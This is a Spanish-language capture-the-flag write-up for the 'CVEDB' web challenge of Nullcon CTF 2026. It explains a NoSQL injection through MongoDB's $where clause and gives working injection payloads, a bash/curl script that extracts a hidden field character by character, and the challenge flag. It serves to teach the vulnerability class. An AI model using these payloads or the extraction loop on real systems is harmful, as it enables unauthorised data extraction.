Skip to main content
Volver a writeups

Writeup técnico

CVEDB – Nullcon CTF 2026

---

nullcon CTF 2026

Datos del reto

Campo Valor
CTF Nullcon CTF 2026
Reto CVEDB
Categoría Web
Contexto "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL."
URL http://52.59.124.14:5000/
Flag ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}

Descripción del reto

La aplicación era una base de datos de CVEs con un buscador bastante simple. La pista de "without actual SQL" prácticamente pedía mirar hacia NoSQL, y desde ahí la resolución salió de entender cómo estaban armando la búsqueda en MongoDB.


Reconocimiento

Con whatweb se veía un backend Express, y el comportamiento del formulario sugería que el parámetro query terminaba en una búsqueda por regex.

Al hacer búsquedas rápidas aparecían varias pistas útiles:

  • CVE devolvía todos los registros.
  • flag solo devolvía uno.
  • ( o ) rompían la consulta con error de base de datos.

Además, entre los resultados destacaba CVE-1337-1337, con una descripción bastante sospechosa. En el HTML también había campos comentados que no se mostraban en la interfaz:

<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->

Eso hacía pensar que había más datos en cada documento de los que la UI enseñaba.


Análisis

La parte vulnerable estaba en una consulta $where con input del usuario interpolado directamente dentro de JavaScript. Conceptualmente era algo así:

const filter = {
  $where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`,
};

Si el input cerraba el regex y metía código propio, Mongo terminaba evaluando JavaScript arbitrario sobre cada documento. Por ejemplo, esta cadena:

test/i)||true||(/test

hacía que la condición devolviera true para todo y por eso salían todos los documentos.

Una vez confirmado eso, el siguiente paso fue probar qué campos existían en this. product y vendor estaban presentes aunque la interfaz no los mostrara, y product era justo donde empezaba la flag.


Resolución

Primero confirmé que la flag estaba en product con una condición booleana:

1337/i)&&(this.product.startsWith("ENO"))&&(/1337

Después medí la longitud y terminé de extraerla carácter por carácter con startsWith(). La idea era mandar peticiones como esta e ir ampliando el prefijo válido:

1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337

Un script sencillo en bash alcanzaba para automatizarlo:

FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'

for pos in $(seq 4 53); do
  for char in $(echo "$CHARSET" | fold -w1); do
    prefix="${FLAG}${char}"
    payload="1337/i)&&(this.product.startsWith(\"${prefix}\"))&&(/1337"

    result=$(curl -s -X POST http://52.59.124.14:5000/search \
      --data-urlencode "query=${payload}" | grep -c "Found 1")

    if [ "$result" -eq 1 ]; then
      FLAG="${prefix}"
      break
    fi
  done
done

echo "$FLAG"

Tras unas cuantas peticiones, la aplicación fue revelando toda la cadena.


Flag

ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}